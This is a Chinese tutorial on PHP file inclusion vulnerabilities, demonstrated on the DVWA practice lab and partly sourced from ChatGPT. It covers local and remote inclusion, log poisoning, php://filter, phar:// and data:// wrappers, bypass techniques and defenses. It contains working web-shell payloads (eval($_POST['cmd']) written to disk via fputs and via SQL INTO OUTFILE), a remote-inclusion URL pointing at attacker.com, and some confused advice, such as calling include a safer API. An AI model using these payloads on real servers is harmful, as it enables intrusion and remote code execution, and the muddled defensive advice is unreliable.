数据来源
部分数据来源:ChatGPT
本文仅用于信息安全的学习,请遵守相关法律法规,严禁用于非法途径。若观众因此作出任何危害网络安全的行为,后果自负,与本人无关。
01 文件包含漏洞概述
文件包含漏洞是一种常见的安全漏洞,常出现在 Web 应用程序中。攻击者可以利用此漏洞将恶意代码注入到应用程序中,从而实现远程代码执行(Remote Code Execution,RCE)攻击。
文件包含漏洞通常发生在应用程序使用动态参数来构造本地或远程文件名时。攻击者可以通过在参数中注入特定的字符串,使应用程序读取并解析恶意脚本,从而实现攻击目的。在 Web 应用程序中,这种漏洞通常出现在 PHP、ASP、JSP 或其他服务器端脚本语言中。
例如,在 PHP 中,当服务器端脚本包含以下代码片段时,就可能存在文件包含漏洞:
<?php $page = $_GET['page'];include($page . '.php');
?>
/*
include($page . '.php'); 是 PHP 语言中的一段代码。它的作用是将 $page 变量拼接上 .php 后缀,然后包含该文件。这里使用点号来连接字符串,是 PHP 中常用的字符串拼接方式。具体而言,当该代码执行时,PHP 解释器会首先将 $page . '.php' 表达式求值,然后将其结果作为文件名传递给 include() 函数。因此,如果 $page 的值是 "my_page",那么该代码实际执行的效果就相当于 include("my_page.php");。通过将变量与字符串连接起来,程序员可以根据需要动态地构造文件路径和文件名,并在代码运行时引入特定的文件。但是,如前所述,这样的代码容易受到文件包含漏洞攻击的影响,因此必须始终谨慎处理用户输入或外部数据,以防止恶意注入攻击。
*/
在这个代码中,变量 $page 包含用户输入,未经过充分的验证和过滤即直接拼接到 include 函数里面。因此,攻击者可以通过像以下 URL 请求发送以下请求来引入恶意可执行代码:
http://example.com/mypage.php?page=http://attacker.com/malicious-code.txt
在这个请求中,攻击者通过将远程恶意文件的 URL 添加到 page 参数中来注入恶意代码。而服务器端脚本会在包含文件时下载该远程文件并执行其代码,导致攻击者成功利用文件包含漏洞实现远程代码执行。
因此,为避免此类问题,请始终对从外部来源到应用程序中的所有数据进行严格的输入验证和过滤,并尽可能避免直接在应用中包含不可信的文件。相反,您应考虑使用安全性更高的 API 函数,例如 require、require_once、include 或 include_once 等,并始终在调用这些函数之前进行充分的数据验证和过滤,以确保用户输入仅包含预期的数据。
简单例子
PHP中的文件包含函数
02 文件包含漏洞类型及利用
本地文件包含 -- 示例:(这里使用DVWA靶场做演示)
1)包含系统文件
首先要把靶场的安全等级调低
然后要配置一下我们的php的运行环境,因为我们选择“文件包含”这个选项是会提示有个php函数未定义。
打开 php.ini,找到allow_url_include=Off 改为 allow_url_include=On
下面这个就是靶场的文件包含页面,我们可以通过更改网站的URL路径访问本地的文件
将url路径后面的page改成page=C:/Windows/win.ini (win.ini这个文件一般的windows系统都有)
2)包含上传文件
在www目录下有个phpinfo.php,内容很简单就一句代码:
# phpinfo是一个服务器的运行指令,可以显示php服务器的配置信息
<?php phpinfo();?>
phpinfo.php文件位置
靶场的文件包含的文件位置
如果我们要在靶场的文件包含这里访问phpinfo.php文件,可以使用相对路径或绝对路径
相对路径:../../../phpinfo.php(../ 上一级目录)
绝对路径:D:/phpStudy/PHPTutorial/WWW/phpinfo.php
在这里其实我们访问的文件不一定就要是php文件,可以是txt、png之类的只要文件的内容符合php的语法要求都是会被当成php文件执行。
如我们可以建一个aa.txt文件,内容如下:
# phpinfo是一个服务器的运行指令,可以显示php服务器的配置信息
<?phpphpinfo();
?>
访问
敏感文件默认路径列举
本地文件包含漏洞利用方式
1)本地文件包含配合日志文件
一般我们在网站的URL路径上的访问都是会被记录到一个日志文件如下:(默认情况下这个日志文件是没有的,我们需要手动开启日志功能)
重启phpstudy,访问日志文件存在
现在知道了我们访问的url会被网站记录下来,这样我们就可以在url上访问我们的后门代码,然后如果知道网站的日志文件的位置的话我们就可以直接使用文件包含执行我们的后门代码
<?php phpinfo();?>
在靶场随便找个地方在url路径后面输入我们的代码,让日志文件记录
我这里的代码被转码了,我看被人的使用文件包含访问不影响,我这里访问不了
解决方法:使用Burpsuite代理然后改包再重新发送。(参考)
日志文件这边保存的就是正常的代码了
使用文件包含访问日志文件
相对路径:../../../../Apache/logs/access.log
绝对路径:D:/phpStudy/PHPTutorial/Apache/logs/access.log
2)利用file协议
3)利用php://filter协议
示例:
语法:php://filter/read=convert.base64-encode/resource=文件路径/名
我这里直接访问www目录下的phpinfo.php的内容:
php://filter/read=convert.base64-encode/resource=D:/phpStudy/PHPTutorial/WWW/phpinfo.php
这里拿到的文件内容是经过base64加密的我们要解密才能查看原来的内容,网上有很多在线解密的工具,我这里使用浏览器的插件Hackbar进行解密
4)利用zip:、bzip2:∥、zib;/协议
5)利用phar://协议
示例:
创建一个phpinfo.txt文件,内容如下:
<?php phpinfo();?>
然后压缩
再把后缀名改成可以被网站接收的图片格式(png、jpg)
上传到网站
使用文件包含访问我们的图片
完整链接:http://192.168.0.106/dvwa/vulnerabilities/fi/?page=phar://../../hackable/uploads/phpinfo.jpg/phpinfo.txt
我这里报错了,查一下百度,解决方案:php版本大于等于php5.3.0(来源),最后成功访问
远程文件包含漏洞
1)包含远程文件,利用http协议:
示例1:(访问远程的文件)
访问:http://192.168.0.106/dvwa/vulnerabilities/fi/?page=http://192.168.0.106/phpinfo.php
示例2:(访问远程一句话木马,然后在服务器生成木马文件)
前提:把电脑一杀毒软件与自带杀毒功能关闭,不然我们的文件会被自动清理。
1、在www文件夹加新建一个.txt,内容如下:
<?php fputs(fopen("demo.php","w"),'<?php @eval($_POST["cmd"]);?>'); ?>
这句代码的意思是创建一个demo.php文件,文件的内容是:<?php eval($_POST["cmd"])?>
2、使用文件包含我们的txt文件(http://127.0.0.1/dvwa/vulnerabilities/fi/?page=http://127.0.0.1/aa.txt)
去到我们靶场的文件包含的目录下就能看到我们生成的文件
3、使用菜刀连接我们的一句话马
http://127.0.0.1/dvwa/vulnerabilities/fi/demo.php
2)利用php://input协议
<?php fputs(fopen("up.php","w"),'<?php @eval($_POST["cmd"]);?>'); ?>
3)利用data://协议
示例:
在文件包含哪里输入:data://text/plain,<?php phpinfo();
本地文件包含绕过方式
本地文件包含漏洞是指攻击者通过注入恶意代码来劫持服务器上某些需要引用外部文件的程序,从而获得系统权限或敏感信息。
常见的绕过方式有以下几种:
-
文件路径截断: 通过使用 ".." 或 "%2E%2E%5C" 等字符折迭实现路径超出应用根目录读取上层目录文件。
-
组合攻击:使用分号、&&等符号,嵌套另一个 shell 命令执行进程。例如,在一个Windows操作系统下用如下SQL伪造语句可以创建一个新的PHP正模板: SELECT '<?php eval($_POST['attack']); ?>' INTO OUTFILE 'C:\ AppServ \ www \ index.php';
-
变量篡改:注入 code 参数,将变量替换成对象,然后让PHP尝试显示特定文件时才提取该对象的 payload。
-
Null 字节 (%00):在参数中使用 null 字节和其他字符串混合花样绕过实现对于 blacklist 文件的绕过攻击(如".php" 和 ".inc")并夺取 webroot 访问权限。
要避免本地文件包含漏洞被绕过,建议采取以下措施:
-
输入验证:在代码中使用输入验证机制,只允许合法、经过验证的输入值,同时禁止使用使用不安全的函数(如eval、include等)
-
规范化目录:规范化目录,基于绝对路径和真实文件名而不是使用其他相对或替代方案。确保文件包含限制仅限于遵循代码中指定白名单。
-
操作权限控制:在操作系统上设置合适的运行用户和组,并排除应用程序访问仅允许管理员或 Root 层级可见的敏感文件。
-
文件占据:减少系统本身对可疑文件的引用,通过检测程序是否具有所需的文件来保护自己的安全性。
最关键的进一步就是注重安全意识教育,尽早发现风险。注意获取黑客最新的攻击方式常规,及时利用工具排查,实施恰当的安全防护措施加强应用程序的保护。
远程文件包含绕过方式
普通的远程文件包含漏洞是指攻击者可以通过应用程序的某个特定功能来引入并执行包含恶意代码的外部文件。
常见的绕过方式有以下几种:
-
使用编码和命名规则等技巧来混淆 payload ,欺骗服务器解析对应数据或伪造干扰口令,而导致服务器跳过相关输入验证。
-
显然,在一些情况下,攻击者所占据的用户权限非常有限,这时可以利用其他存在漏洞的应用负责做更高危的网络代理乃至其它跨越式攻击行为。
-
充分利用 PHP 自动包含函数的特性(例如file_get_contents(), curl, readfile()等),而注入参数中嵌入恶意代码。
-
在网络请求中使用相对路径,绕过服务器对应用根目录位置的保护。
要避免远程文件包含漏洞被绕过,建议采取以下措施:
-
输入验证:在代码中使用输入验证机制,只允许合法、经过验证的输入进入后台程序,同时禁止使用不安全的函数(如eval、include等)。
-
权限控制:设置严格的权限控制,确保没有以应用程序 or 访问者账户名和密码的形式披露敏感信息被开放。
-
加密措施:使用加密算法或其他安全机制保证数据传输和存储的安全性,提高攻击者入侵难度;
-
定期更新:及时更新应用程序和相关组件,避免应用程序版本过低、存在必要漏洞等问题给黑客留后门。
最关键的进一步就是强化「安全意识」,注重系统漏洞排查测试。常见的攻击在于利用不察防范之下发起勒索软件攻击,从而使得系统被坑定并影响企业工作效率和数据安全。
03 文件包含漏洞危害及防御
文件包含漏洞是一种非常危险的漏洞类型,攻击者可以利用该漏洞来访问系统上的敏感文件或执行任意代码。具体来说,攻击者可以利用文件包含漏洞来读取敏感信息如密码、数据库连接字符串等,同时也可能利用该漏洞在服务器上触发命令执行,最终使系统处于威胁之下。
为了避免文件包含漏洞对系统、应用程序和用户数据造成的潜在风险,以下是一些防御措施建议:
输入验证:严格限制所有输入内容,包括URL参数、POST请求、Cookie和HTTP头等,确保没有恶意的代码或字符被注入到服务器端。
白名单限制:尽量采用白名单机制,明确允许哪些文件、目录和通道进行访问。
参数加密:加密涉及隐私空间信息的传输参数,例如将所有POST请求作为键值对提交,客户端需要解密。
操作限制:取消服务端内部函数调用的接口和服务,设置系统内部路径不可达,并使用其他更加安全的方式储存文件和资源,例如只允许通过PHP中读取自己代码目录下的文件以防攻击者越过文件获取主机所有权限。
及时更新:对于库文件、开发工具和应用服务器等组件,及时进行更新,避免因软件爆出漏洞而被攻击者利用。
综上所述,保障系统安全需要从多个方面入手,包括加强代码编写规范、限制用户输入以缓解恶意注入等,并要采取全面的做法减小风险。
04 在Kali中,常用的文件包含漏洞检测工具
在Kali中,常用的文件包含漏洞检测工具包括Nikto,w3af,Burp Suite,sqlmap和dotdotpwn等。
下面简单介绍一下这几个工具的使用方式:
-
Nikto:输入命令“nikto -h [目标网站]”,该工具会对目标网站进行端口扫描,并输出网站信息及潜在漏洞信息。如果需要进行文件包含漏洞检测,则可以使用“- plugins vulnerabilities”选项。
-
w3af:输入命令“w3af_console”,进入w3af控制台,然后输入“target set [目标网站]”来设置扫描目标。选择文件包含插件,如“file_inclusion”,然后启动扫描即可。
-
Burp Suite:在Burp Suite中打开目标网站并进行代理配置,然后通过扫描器漏洞列表添加新的扫描任务,选择要测试的网站及测试类型,最后启动扫描即可。
-
sqlmap:输入命令“sqlmap -u [URL]”,该工具将自动检测发现SQL注入漏洞,但也支持通过“-p”选项手动指定参数。
-
dotdotpwn:输入命令“ ./dotdotpwn.pl -m ftp -h [目标IP] -f [要攻击的文件]”,该工具会对目标主机进行模糊测试并寻找文件系统漏洞。
需要注意的是,在使用这些工具时,需要掌握相关的技术和知识,遵循法律规定和道德准则,且必须先获得合法授权。